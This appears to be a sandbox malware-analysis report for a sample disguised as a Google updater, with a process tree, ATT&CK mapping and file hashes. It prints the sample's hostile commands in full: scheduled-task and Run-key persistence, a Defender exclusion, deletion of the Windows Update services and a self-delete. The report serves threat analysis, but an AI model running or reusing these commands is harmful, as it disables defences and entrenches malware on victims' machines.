C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe <#thakcjdi#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'Google' /tr '''C:\Program Files\Google\chromeupdater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\chromeupdater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Google' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Google" /t REG_SZ /f /d 'C:\Program Files\Google\chromeupdater.exe' }
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2832

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\UNNAMED3.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:3992

C:\Windows\system32\choice.exe
choice /C Y /N /D Y /T 3
3⤵
PID:4476

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe <#nkdsuy#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "Google" } Else { "C:\Program Files\Google\chromeupdater.exe" }
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3376

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn Google
3⤵
PID:3820

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4344

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
- Suspicious use of WriteProcessMemory
PID:4280

C:\Windows\system32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:2092

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:2380

C:\Windows\system32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:3420

C:\Windows\system32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:4520

C:\Windows\system32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:4936

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
3⤵
PID:4416

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
3⤵
PID:3020

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
3⤵
PID:2600

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
3⤵
PID:1856

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:4536

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe <#thakcjdi#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'Google' /tr '''C:\Program Files\Google\chromeupdater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\chromeupdater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Google' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Google" /t REG_SZ /f /d 'C:\Program Files\Google\chromeupdater.exe' }
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1068

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe wwahllplg
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:892

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1348

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
3⤵
PID:2432

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe iulcjduawyyezjwe 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
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:680

C:\Program Files\Google\chromeupdater.exe
"C:\Program Files\Google\chromeupdater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4756

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Impair Defenses

T1562

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Google\Libs\g.log
Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Program Files\Google\chromeupdater.exe
Filesize
9.1MB

MD5
2276c767a4e487885ab8d979c6e66878

SHA1
fd7a9df4d7e68031109f4c7b5de6a0fc424c160e

SHA256
37d4dbf6abbe35855e329fa4a955cec618781f8f90d223c988fb205304fe2317

SHA512
4f51cf617bfd006f86d0fa89b2ded7dc7ebdece8715313fd43bd1560e0d58a1e997dda15ba2df1ad140cdd8af4403628ea8f3967439d7774435f8f43ad7abc1b

Download Submit
C:\Program Files\Google\chromeupdater.exe
Filesize
9.1MB

MD5
2276c767a4e487885ab8d979c6e66878

SHA1
fd7a9df4d7e68031109f4c7b5de6a0fc424c160e

SHA256
37d4dbf6abbe35855e329fa4a955cec618781f8f90d223c988fb205304fe2317

SHA512
4f51cf617bfd006f86d0fa89b2ded7dc7ebdece8715313fd43bd1560e0d58a1e997dda15ba2df1ad140cdd8af4403628ea8f3967439d7774435f8f43ad7abc1b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
fb3262fa246aeb67c9f235be7ce96f2b

SHA1
a8b3124eacbe014065d96ccfe39131b9a058bd18

SHA256
d0f4299752864dac1cc2b3d37e45ca92e972e511a7aaa9f0c02acbb97dcdf43a

SHA512
ad571b5ee840b7f8e38d59523eefaa558fa272843ef72f9367539038048fb6be23d81876c8c2855f71653928ff0ca2e53e1fb06fdda62030a144e7dac6f4251f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
d3a17a56edbadfc922fc753a8035926a

SHA1
38ad9857a8aac26c19621bca828df812b2cb067b

SHA256
23aa261ff68defc62f426bda23fbea0e24f0b917fed735041ff62549c3b0bdc6

SHA512
9249913cdf44419420c00204585f3b13eda0711585edd0d2dc0accee87686f6460466bdcee1dc1db4c3e69f89414d5503bfc31d62e92940b39a4b93736719e44

Download Submit
C:\Users\Admin\AppData\Local\Temp\UNNAMED.exe
Filesize
325KB

MD5
038f548b46e0ef89dc476557407e7b4b

SHA1
18546d1fe05f4aee0313ff7fb805f8a51d65f145

SHA256
ff953ecfb1f82e587aa25c29d980f0875c9c9e5b2c9a3e13d87e91a551be9f45

SHA512
3dba1ffa622ae1c3b76f12c12e50984ddcfdae288fd234ef93784af2524b8646bdf3e95204ab57f4153779e7766d8bbb66e50e0c68e8adba752056d2655670f3

Download Submit
C:\Users\Admin\AppData\Local\Temp\UNNAMED.exe
Filesize
325KB

MD5
038f548b46e0ef89dc476557407e7b4b

SHA1
18546d1fe05f4aee0313ff7fb805f8a51d65f145

SHA256
ff953ecfb1f82e587aa25c29d980f0875c9c9e5b2c9a3e13d87e91a551be9f45

SHA512
3dba1ffa622ae1c3b76f12c12e50984ddcfdae288fd234ef93784af2524b8646bdf3e95204ab57f4153779e7766d8bbb66e50e0c68e8adba752056d2655670f3

Download Submit
C:\Users\Admin\AppData\Local\Temp\UNNAMED2.exe
Filesize
7.5MB

MD5
f49731a7439fd1c0bd9b1ca479372985

SHA1
26c9aec52acacb8c2573577b721ed1cb74cfdb30

SHA256
3b6661895ec7cf5f8275093791322e6c05f28583a49ffc88e0e28fe6b1450972

SHA512
8887062cd5505a5073f2b819d08041c0151c054955c1912bf6ff450c03f08e29c40ef0ff135546c73793a59b5e11eaabd7956b1bd3f3f94f4fbc30ab0b73816a

Download Submit
C:\Users\Admin\AppData\Local\Temp\UNNAMED3.exe
Filesize
9.1MB

MD5
223ce6bb95cc6072b3c08cdcdf6b2944

SHA1
a55afd57e0862347574680bda2ea42ccb6c31bce

SHA256
39cc2423c2cd157014637802833c3b70f9b6cc5ff3e3247b15949eded3cb8d62

SHA512
a34ecf9dc5dae22f37d3697a5c4050261ca98f22f3f88108c9c63f02911fe64ed1be9b8608211b8440cb19fd5dbac423d1bbe1c5e70f2e31f0043b8ebbd4daa6

Download Submit
C:\Users\Admin\AppData\Local\Temp\UNNAMED3.exe
Filesize
9.1MB

MD5
223ce6bb95cc6072b3c08cdcdf6b2944

SHA1
a55afd57e0862347574680bda2ea42ccb6c31bce

SHA256
39cc2423c2cd157014637802833c3b70f9b6cc5ff3e3247b15949eded3cb8d62

SHA512
a34ecf9dc5dae22f37d3697a5c4050261ca98f22f3f88108c9c63f02911fe64ed1be9b8608211b8440cb19fd5dbac423d1bbe1c5e70f2e31f0043b8ebbd4daa6

Download Submit
C:\Users\Admin\AppData\Local\Temp\UNNAMED4.exe
Filesize
68KB

MD5
953f7e1cc05d1c62e733325e535dfec2

SHA1
b15b41799c491f1a9dac97189fd2a7373c9a7cbe

SHA256
906de8044ba266774e17f3fe0683aed2ccf60e2f73d2f78eebf38f636f0ce74e

SHA512
2406f2cf52706dba8d182b061efd3cb15ce533ea8eae8abcdf318a051f46951219385d655d30bf2920513bb66a6c4b02698fd575f2cf32b7928de7d8f36b79b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\UNNAMED4.exe
Filesize
68KB

MD5
953f7e1cc05d1c62e733325e535dfec2

SHA1
b15b41799c491f1a9dac97189fd2a7373c9a7cbe

SHA256
906de8044ba266774e17f3fe0683aed2ccf60e2f73d2f78eebf38f636f0ce74e

SHA512
2406f2cf52706dba8d182b061efd3cb15ce533ea8eae8abcdf318a051f46951219385d655d30bf2920513bb66a6c4b02698fd575f2cf32b7928de7d8f36b79b9

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\WindowsSecurityHealthService\Windows Security Health Service.exe
Filesize
68KB

MD5
953f7e1cc05d1c62e733325e535dfec2

SHA1
b15b41799c491f1a9dac97189fd2a7373c9a7cbe

SHA256
906de8044ba266774e17f3fe0683aed2ccf60e2f73d2f78eebf38f636f0ce74e

SHA512
2406f2cf52706dba8d182b061efd3cb15ce533ea8eae8abcdf318a051f46951219385d655d30bf2920513bb66a6c4b02698fd575f2cf32b7928de7d8f36b79b9

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\WindowsSecurityHealthService\Windows Security Health Service.exe
Filesize
68KB

MD5
953f7e1cc05d1c62e733325e535dfec2

SHA1
b15b41799c491f1a9dac97189fd2a7373c9a7cbe

SHA256
906de8044ba266774e17f3fe0683aed2ccf60e2f73d2f78eebf38f636f0ce74e

SHA512
2406f2cf52706dba8d182b061efd3cb15ce533ea8eae8abcdf318a051f46951219385d655d30bf2920513bb66a6c4b02698fd575f2cf32b7928de7d8f36b79b9

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
4KB

MD5
bdb25c22d14ec917e30faf353826c5de

SHA1
6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

SHA256
e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

SHA512
b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
b42c70c1dbf0d1d477ec86902db9e986

SHA1
1d1c0a670748b3d10bee8272e5d67a4fabefd31f

SHA256
8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

SHA512
